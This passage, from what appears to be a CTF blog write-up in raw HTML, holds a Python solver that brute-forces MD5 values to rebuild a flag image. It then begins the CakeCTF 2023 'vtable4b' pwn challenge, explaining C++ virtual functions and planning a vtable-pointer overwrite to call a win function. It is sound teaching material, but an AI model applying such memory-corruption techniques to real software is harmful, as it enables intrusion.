480w,\n/static/9eb724a6ce7f9b37e126b9e79f17b796/e58ce/image-20231116204544777.webp 553w\"\n              sizes=\"(max-width: 553px) 100vw, 553px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/9eb724a6ce7f9b37e126b9e79f17b796/8ff5a/image-20231116204544777.png 240w,\n/static/9eb724a6ce7f9b37e126b9e79f17b796/e85cb/image-20231116204544777.png 480w,\n/static/9eb724a6ce7f9b37e126b9e79f17b796/74cfa/image-20231116204544777.png 553w\"\n            sizes=\"(max-width: 553px) 100vw, 553px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/9eb724a6ce7f9b37e126b9e79f17b796/74cfa/image-20231116204544777.png\"\n            alt=\"image-20231116204544777\"\n            title=\"image-20231116204544777\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>When I actually used this image, values for which the argument to the <code class=\"language-text\">MD5</code> function became <code class=\"language-text\">0x0FFFFF</code> and values for which it became <code class=\"language-text\">0x000000</code> began appearing alternately.</p>\n<p>With this, it looked like if I could determine the value of <code class=\"language-text\">answer</code>, I would be able to brute-force the correct flag.</p>\n<p>The byte sequence <code class=\"language-text\">answer</code> is defined as 3840 bytes.</p>\n<p>This is 8 times 480, the number specified by <code class=\"language-text\">width</code>.</p>\n<p>In other words, it exactly matches the size of a 32-character MD5 hash digest.</p>\n<p>Once I understood this much, all that remained was to write a solver.</p>\n<p>One slightly troublesome point was that the comparison target byte sequence was not embedded directly in the byte region <code class=\"language-text\">answer</code>.</p>\n<p>Each 8-byte region of <code class=\"language-text\">answer</code> contains a virtual address like <code class=\"language-text\">0x5004</code> indicating where the answer byte sequence is stored.</p>\n<p>To extract the correct values from there and restore the flag image, I created the following solver.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">import</span> struct<span class=\"token punctuation\">,</span>hashlib\n<span class=\"token keyword\">import</span> binascii\n\nanswer <span class=\"token operator\">=</span> <span class=\"token operator\">&lt;</span>answer のバイト列<span class=\"token operator\">></span>\ntable <span class=\"token operator\">=</span> <span class=\"token operator\">&lt;</span><span class=\"token number\">0x5000</span> 以降のバイト列<span class=\"token operator\">></span>\n\nA <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span><span class=\"token number\">3840</span><span class=\"token punctuation\">,</span><span class=\"token number\">8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    addr <span class=\"token operator\">=</span> struct<span class=\"token punctuation\">.</span>unpack<span class=\"token punctuation\">(</span><span class=\"token string\">\"&lt;Q\"</span><span class=\"token punctuation\">,</span> answer<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">:</span>i<span class=\"token operator\">+</span><span class=\"token number\">8</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">-</span> <span class=\"token number\">0x5000</span>\n    <span class=\"token comment\"># print(hex(addr))</span>\n    A<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span>binascii<span class=\"token punctuation\">.</span>hexlify<span class=\"token punctuation\">(</span>table<span class=\"token punctuation\">[</span>addr<span class=\"token punctuation\">:</span>addr<span class=\"token operator\">+</span><span class=\"token number\">8</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>decode<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\nB <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">1048576</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    h <span class=\"token operator\">=</span> hashlib<span class=\"token punctuation\">.</span>md5<span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">.</span>to_bytes<span class=\"token punctuation\">(</span><span class=\"token number\">3</span><span class=\"token punctuation\">,</span>byteorder<span class=\"token operator\">=</span><span class=\"token string\">\"little\"</span><span class=\"token punctuation\">,</span>signed<span class=\"token operator\">=</span><span class=\"token boolean\">True</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>hexdigest<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    B<span class=\"token punctuation\">[</span>h<span class=\"token punctuation\">[</span><span class=\"token punctuation\">:</span><span class=\"token number\">16</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> i\n\nline <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span>\n<span class=\"token keyword\">for</span> a <span class=\"token keyword\">in</span> A<span class=\"token punctuation\">:</span>\n    i <span class=\"token operator\">=</span> B<span class=\"token punctuation\">[</span>a<span class=\"token punctuation\">]</span>\n    line<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token string-interpolation\"><span class=\"token string\">f'</span><span class=\"token interpolation\"><span class=\"token punctuation\">{</span>i<span class=\"token punctuation\">:</span><span class=\"token format-spec\">#020b</span><span class=\"token punctuation\">}</span></span><span class=\"token string\">'</span></span><span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token punctuation\">:</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n\n\n<span class=\"token keyword\">from</span> PIL <span class=\"token keyword\">import</span> Image\nwidth<span class=\"token punctuation\">,</span> height <span class=\"token operator\">=</span> <span class=\"token number\">0x1e0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0x14</span>\nmode <span class=\"token operator\">=</span> <span class=\"token string\">\"1\"</span>\nimage <span class=\"token operator\">=</span> Image<span class=\"token punctuation\">.</span>new<span class=\"token punctuation\">(</span>mode<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span>width<span class=\"token punctuation\">,</span> height<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ndata <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token number\">0</span> <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x14</span><span class=\"token operator\">*</span><span class=\"token number\">0x1e0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span>\n\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1e0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    l <span class=\"token operator\">=</span> line<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span>\n    <span class=\"token keyword\">for</span> j <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">if</span> l<span class=\"token punctuation\">[</span>j<span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token string\">\"1\"</span><span class=\"token punctuation\">:</span>\n            data<span class=\"token punctuation\">[</span><span class=\"token number\">480</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x13</span><span class=\"token operator\">-</span>j<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">1</span>\n        <span class=\"token keyword\">else</span><span class=\"token punctuation\">:</span>\n            data<span class=\"token punctuation\">[</span><span class=\"token number\">480</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x13</span><span class=\"token operator\">-</span>j<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0</span>\n\nimage<span class=\"token punctuation\">.</span>putdata<span class=\"token punctuation\">(</span>data<span class=\"token punctuation\">)</span>\nimage<span class=\"token punctuation\">.</span>save<span class=\"token punctuation\">(</span><span class=\"token string\">\"flag.png\"</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>Running this solver generates an image containing the correct flag, as shown below.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 778px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/e97c2c2bd8224feb6fe7b2d5b6c63ae9/20982/image-20231116221523276.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 23.333333333333332%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAnklEQVQY062PzQqEMAyE+wb+nit9rB61tqBWbNVS8OVnSRYXD3tZ2MPHpBmSTkRVVXhS1/XP0Fzbtui6DmKeZ0zTxCzLgr7vGWMMhmGAtRbjODJUO+dYb5/63ntorSGlhMg5I4SA67qYbduwrisvp/o8T/ZTStj3nYkxft7HcYB20AecsCxLjlwUBfM8nfT2SW++9ZumeSdUSuFfUMIXgOSkLCDkLBwAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/e97c2c2bd8224feb6fe7b2d5b6c63ae9/8ac56/image-20231116221523276.webp 240w,\n/static/e97c2c2bd8224feb6fe7b2d5b6c63ae9/d3be9/image-20231116221523276.webp 480w,\n/static/e97c2c2bd8224feb6fe7b2d5b6c63ae9/10884/image-20231116221523276.webp 778w\"\n              sizes=\"(max-width: 778px) 100vw, 778px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/e97c2c2bd8224feb6fe7b2d5b6c63ae9/8ff5a/image-20231116221523276.png 240w,\n/static/e97c2c2bd8224feb6fe7b2d5b6c63ae9/e85cb/image-20231116221523276.png 480w,\n/static/e97c2c2bd8224feb6fe7b2d5b6c63ae9/20982/image-20231116221523276.png 778w\"\n            sizes=\"(max-width: 778px) 100vw, 778px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/e97c2c2bd8224feb6fe7b2d5b6c63ae9/20982/image-20231116221523276.png\"\n            alt=\"image-20231116221523276\"\n            title=\"image-20231116221523276\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"update-vtable4bpwn\" style=\"position:relative;\"><a href=\"#update-vtable4bpwn\" aria-label=\"update vtable4bpwn permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Update: vtable4b(Pwn)</h2>\n<blockquote>\n<p>Do you understand what vtable is?</p>\n</blockquote>\n<p>Reference: <a href=\"https://zenn.dev/t0m3y/articles/0c6809685b90e4\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">CakeCTF 2023 WriteUp</a></p>\n<p>In this challenge, the binary was not provided, but when you access the challenge server, the following menu screen is displayed.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/84c848bf6395db762a20e54c7aa66522/5b587/image-20231113185053643.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 63.74999999999999%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAABuklEQVQ4y52SWU/bUBCFr4TKUjZFFAhLszkJSbzF2cBbYsdOU0pFhOCB//9HDvcMTaRKVbF4+HT3uWfOjEq6IaZmiFSP+U2KWTNB3s0w78wR1yNkenSOLdhHFoLzPmZXQ8yuRxvCcxdpdYLhUQfurgF1355iZWVYGiEi/cA/MRGc2ojLLm5LXURnDryvTfR3G3B26rC3/4Z71nYN7p6Bvr6nksoYT94Sy3aMhQ6aN3xMtYplK5J5UplgUjI3D/4H76hQq3oe3uOhl+K3meLRziQQ04nKfYyOO/D2Wx8GW6OoZmEE2puRKLG+VDU19LYqMPXcZpqatcKPlCqa6p86CM5cjQP/my1QOffuTiwZqbJI2ooV+tF89y6+HCCv++In+UluYiTfx4XUvQfUpkdlT9StGRy0JU1HV5ZB2A5FgklA+rdycrwGKykKUx2xp/aMT6HiC08qOq/eSoNK2jr9Saknvq2hauIdtASZ77c2a0+vRSE9yzT066GXSP8xbfrGDmBBqJqfch1fDORTnrOgFMQ9nrHFFAO8jH9h5S6k2oPDtkinf+Lhn7EIkjJ/FpW1O/HO2WkUbuJ/8QYugHnjOIcoLgAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/84c848bf6395db762a20e54c7aa66522/8ac56/image-20231113185053643.webp 240w,\n/static/84c848bf6395db762a20e54c7aa66522/d3be9/image-20231113185053643.webp 480w,\n/static/84c848bf6395db762a20e54c7aa66522/e46b2/image-20231113185053643.webp 960w,\n/static/84c848bf6395db762a20e54c7aa66522/93852/image-20231113185053643.webp 1010w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/84c848bf6395db762a20e54c7aa66522/8ff5a/image-20231113185053643.png 240w,\n/static/84c848bf6395db762a20e54c7aa66522/e85cb/image-20231113185053643.png 480w,\n/static/84c848bf6395db762a20e54c7aa66522/d9199/image-20231113185053643.png 960w,\n/static/84c848bf6395db762a20e54c7aa66522/5b587/image-20231113185053643.png 1010w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/84c848bf6395db762a20e54c7aa66522/d9199/image-20231113185053643.png\"\n            alt=\"image-20231113185053643\"\n            title=\"image-20231113185053643\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>It seems that we need to compromise the following class.</p>\n<div class=\"gatsby-highlight\" data-language=\"c++\"><pre class=\"language-c++\"><code class=\"language-c++\">class Cowsay {\n    public:\n        Cowsay(char *message) : message_(message) {}\n        char*&amp; message() { return message_; }\n        virtual void dialogue();\n\n    private:\n        char *message_;\n};</code></pre></div>\n<p>This class named <code class=\"language-text\">Cowsay</code> contains a virtual method called <code class=\"language-text\">dialogue();</code> and a private member called <code class=\"language-text\">*message_;</code>.</p>\n<p>Using <code class=\"language-text\">Use cowsay</code> from menu option 1 lets us call the <code class=\"language-text\">dialogue();</code> method, and using <code class=\"language-text\">Change message</code> seems to let us modify the value of <code class=\"language-text\">*message_;</code>.</p>\n<p><code class=\"language-text\">dialogue();</code> is declared as a virtual function.</p>\n<p>Roughly speaking, a C++ virtual function is a function that can be overridden by defining a method with the same name in a subclass.</p>\n<p>Reference: <a href=\"https://cpp-lang.sevendays-study.com/ex-day6.html\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Learn the Basics of C++ in One Week | Day 6: virtual and virtual functions</a></p>\n<p>For example, if you compile and run the following code, it outputs <code class=\"language-text\">Child-virtual</code> and <code class=\"language-text\">Original-nomal</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"c++\"><pre class=\"language-c++\"><code class=\"language-c++\">#include &lt;iostream&gt;\n#include &lt;string&gt;\n \nusing namespace std;\n \nclass CBase{\npublic:\n    virtual void ov(){ cout &lt;&lt; &quot;Original-virtual&quot; &lt;&lt; endl; }\n    void on(){ cout &lt;&lt; &quot;Original-nomal&quot; &lt;&lt; endl; }\n};\n\nclass CChild : public CBase {\npublic:\n    void ov(){ cout &lt;&lt; &quot;Child-virtual&quot; &lt;&lt; endl; }\n    void on(){ cout &lt;&lt; &quot;Child-nomal&quot; &lt;&lt; endl; }\n};\n \nint main(){\n    CChild* a;\n    a = new CChild();\n    a-&gt;ov();\n    a-&gt;on();\n    return 0;\n}</code></pre></div>\n<p>If you look at the disassembly of this code, something interesting appears: the <code class=\"language-text\">ov</code> function declared as a virtual function is called via an address obtained from the <code class=\"language-text\">CChild</code> class object stored on the stack, whereas the non-overridable <code class=\"language-text\">on</code> function defined in the parent class is called directly by address.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 886px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/bbb55594d1af9304db13868366ff77a7/cc155/image-20231113210510927.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 61.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACJUlEQVQoz3WTW3vhUBSGXZYIiWNH2ws5kuyQAyWkRgytxrFV//+nfLOylWHmmYv17J0L7/N9690yiTpG3BgiYQlW7gZzPcZcCTF96mOmhggfGDxRRyerws1p6GZp6HT/MxmWd6DUDmhWj1DKO+jyArvuK4ayDfbE4D8yTAUVQU65AqlXEPXmO+PkGdTqAWrtC1p1B6P8hr23xLBkwyZgT9LxKrbRLfiUTjkl5KN+z+33N/DjBKzsoZfeCfiOyQ8PdsOCJ5uUNoJVmsEq9DEQTESCglFeR1SgO6ULaaZFE6GQJhRs6OU1wbZ0rmBIM2yp8ss9Ae/b8IsGNrTDWNQwktroyR5Yrs1relTR46cKn99vgDsONKUYG2eBqO6C1VuUsIVRsY9AGtI9xCRvYiGZeBENTKQWnostLuxcm1fWLpUJKs3xGazws+FfJdRwLGhYE3xfY1iWLQwIeDbvZm+kOH+kEFCjHR6HO0wfA9gPFgeuCwY+CRhT9aTKENG+grzBE51B53uGUWUupfrFk2qlBIdemjDgUgLJwEpUEAtNEqIgJGi6/B4ldO6UC+wC9GWX7+4kJeHvcNt941JYvQ2P9jUpeghpXNHFmEARvcuxbHHodUoO9CQXWiqlSk+msoYh/8Kmk1p2YddPOxxLqZQQvugQkIQQMCTg37VPO8yR5crmYtkgyx/+kr9DRlLccguDbBOjXBPP9G95FnT00x/T2blT/6n8G7Q2XQBBbhmiAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/bbb55594d1af9304db13868366ff77a7/8ac56/image-20231113210510927.webp 240w,\n/static/bbb55594d1af9304db13868366ff77a7/d3be9/image-20231113210510927.webp 480w,\n/static/bbb55594d1af9304db13868366ff77a7/b4685/image-20231113210510927.webp 886w\"\n              sizes=\"(max-width: 886px) 100vw, 886px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/bbb55594d1af9304db13868366ff77a7/8ff5a/image-20231113210510927.png 240w,\n/static/bbb55594d1af9304db13868366ff77a7/e85cb/image-20231113210510927.png 480w,\n/static/bbb55594d1af9304db13868366ff77a7/cc155/image-20231113210510927.png 886w\"\n            sizes=\"(max-width: 886px) 100vw, 886px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/bbb55594d1af9304db13868366ff77a7/cc155/image-20231113210510927.png\"\n            alt=\"image-20231113210510927\"\n            title=\"image-20231113210510927\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>In Ghidra’s decompiled output, it looked like this.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 438px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/cc5599740abf58f6bcc6cbb7d61398f5/50e4b/image-20231113211144300.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 64.16666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAABvElEQVQ4y5WSu24TQRSG98WoaEAyUsKlsESKFFCkSJEiTV4HoUBEECJCCPEGlBQQGl/2Yu999u69fhwnwjawNmKkT3M0u/PPP+cfbfj0irt3XvDw0QX7+68ZPDi/mYfDS+7fe8lgcM7e3iseP7mQtTccHLzl8PAdz56/5+joiuPjD5ycfOT09BNnZ5/Rvn35yvS7gW4pdD3AMEJMM8QQrFmIbas1jsLZwHWXRDd43i2aPjXxghZPtfhRSxiAChuCoKMsW/53aJOpLlO3sbSuu66jbbez/P4nmq4bxEmN7Ve4QUUk9WKhKIpo44Cu97Beh4ZhUlYdcdqQZA150cpVMyHf6uKXWJ+oZllzqlJRlx55luH4BY700JG+ZnmB5zYSCIQhuE6HK0VVV7sEZyRFghuZqCTC9nKyFBFryArEMeJ2IS1Iqap25XqroC6hxEWBpRJmfn7raJ4ytx3MucLzQ9LUJ8t8cVavhLb2cDSaiGDGTEVYXkHgpySpJ25icSZIQHXd9obR63A8HqPihrFVYQcxUbSgaf5+f/8KYyV4ff1DQmkkFERo/UR2pbpTcDSe/PbGlv9ubty1uW/8BHJw2Y0HNB5GAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/cc5599740abf58f6bcc6cbb7d61398f5/8ac56/image-20231113211144300.webp 240w,\n/static/cc5599740abf58f6bcc6cbb7d61398f5/4a74f/image-20231113211144300.webp 438w\"\n              sizes=\"(max-width: 438px) 100vw, 438px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/cc5599740abf58f6bcc6cbb7d61398f5/8ff5a/image-20231113211144300.png 240w,\n/static/cc5599740abf58f6bcc6cbb7d61398f5/50e4b/image-20231113211144300.png 438w\"\n            sizes=\"(max-width: 438px) 100vw, 438px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/cc5599740abf58f6bcc6cbb7d61398f5/50e4b/image-20231113211144300.png\"\n            alt=\"image-20231113211144300\"\n            title=\"image-20231113211144300\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Although the <code class=\"language-text\">ov</code> function and the <code class=\"language-text\">on</code> function are defined in much the same way, the difference is that only the <code class=\"language-text\">on</code> function has its virtual address called directly.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/0ccdaffd7f0165fa00553706ed7d701e/e4900/image-20231113211239388.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 95.41666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAAC1klEQVQ4y3VUiY6bMBTM///fVqpadXchJBzhMNjgk+nYDmnSbZGebGG/efOO8Wnfdxyfdw7LskApBaMNtNYwxjzM0rz3eP6i/4ER75zyxkJtdHAW4zBhXRRug4BU68Mp7AE+eLjg8t47/g+P8xdAqx02ZRA092cHPwY4ExDCnT0X6xnUKPSqx23p0U41hJrS2QugtRbVucY07UwT6BqFbdNkK/G/7wAI93S/AJ7LC7rOs36AEBrOGbQdg8wL0zdYxMp/9k/6ISQ7gF4BWb+yqNA0gc0AmW5kpyHaAWO5YugXTOPKy/rgR3AHa90XwEju5HjQNB2GITBVkKVODkPj0Fdgk8ic2VsDdj06ZcCDZex6XOMXp+IUD283shkzoFI2dbAfVtQNGY9A3+8E3hkUkDID+pCb9pz6lgAZuiwuEBMvcMSGXtHBQy4WesuN0ltmF/fO7mlc9nAYne7jk1IWq0fVzpgUa8jLzcD6Kc892eiA5cV8WqXeue5pfexZkpmjd7qIHdc5W9lb/LwIvHN0PlqNz25DOdiHnWkXluaafIDoexHhbjtaQcCGo1LcDH5dFSo6/CgmfF4k3t5H/KoV6pkAkyeIx3k0KIYN1eQYYOU/R+CQ75BQFwHj5aLZUHQOl3ZH8WZw/mDnBVBHJrSabIpR4531/d6O+Fbf8K1q8bMV+Oi3xPB6MFxXRi0bdOyi5BzWzQq5atZDUG7sKOvtuKa9RzIb15DXbPneygeFXbaorw1Hh0Unk3nWfHUMlVNjGPlAiA3zKDke7jHYIfhkSciH2FOX70qJ0mvagHU9lGIwNzPmUnOMJGdPc1Tci1Ki7f/Scjzouj4P9hqVYpgWB7tlHas4l4FBkIJJGefxrhT/VSkZkNLr2lsCjMMrZXxELRWysAxID0Z8iQQtqkapPYM8sfvrcWBTPiuIOUbk89VJHlApMiQ2MchGxUTVHFoOBPRP9szwN/Dexh4T8T26AAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/0ccdaffd7f0165fa00553706ed7d701e/8ac56/image-20231113211239388.webp 240w,\n/static/0ccdaffd7f0165fa00553706ed7d701e/d3be9/image-20231113211239388.webp 480w,\n/static/0ccdaffd7f0165fa00553706ed7d701e/e46b2/image-20231113211239388.webp 960w,\n/static/0ccdaffd7f0165fa00553706ed7d701e/6257a/image-20231113211239388.webp 988w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/0ccdaffd7f0165fa00553706ed7d701e/8ff5a/image-20231113211239388.png 240w,\n/static/0ccdaffd7f0165fa00553706ed7d701e/e85cb/image-20231113211239388.png 480w,\n/static/0ccdaffd7f0165fa00553706ed7d701e/d9199/image-20231113211239388.png 960w,\n/static/0ccdaffd7f0165fa00553706ed7d701e/e4900/image-20231113211239388.png 988w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/0ccdaffd7f0165fa00553706ed7d701e/d9199/image-20231113211239388.png\"\n            alt=\"image-20231113211239388\"\n            title=\"image-20231113211239388\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>From these observations, we can see that in this challenge as well, the call address of the <code class=\"language-text\">dialogue</code> function, which is defined as a virtual function, is stored inside the <code class=\"language-text\">Cowsay</code> class object, and by overwriting it we should be able to call the <code class=\"language-text\">win</code> function and obtain the flag.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 744px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/d4375f1f83f25ae76f3f25aa523922ab/cab8c/image-20231113194447444.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 73.33333333333334%; position: relative; bottom: 0; left: 0; background-image: 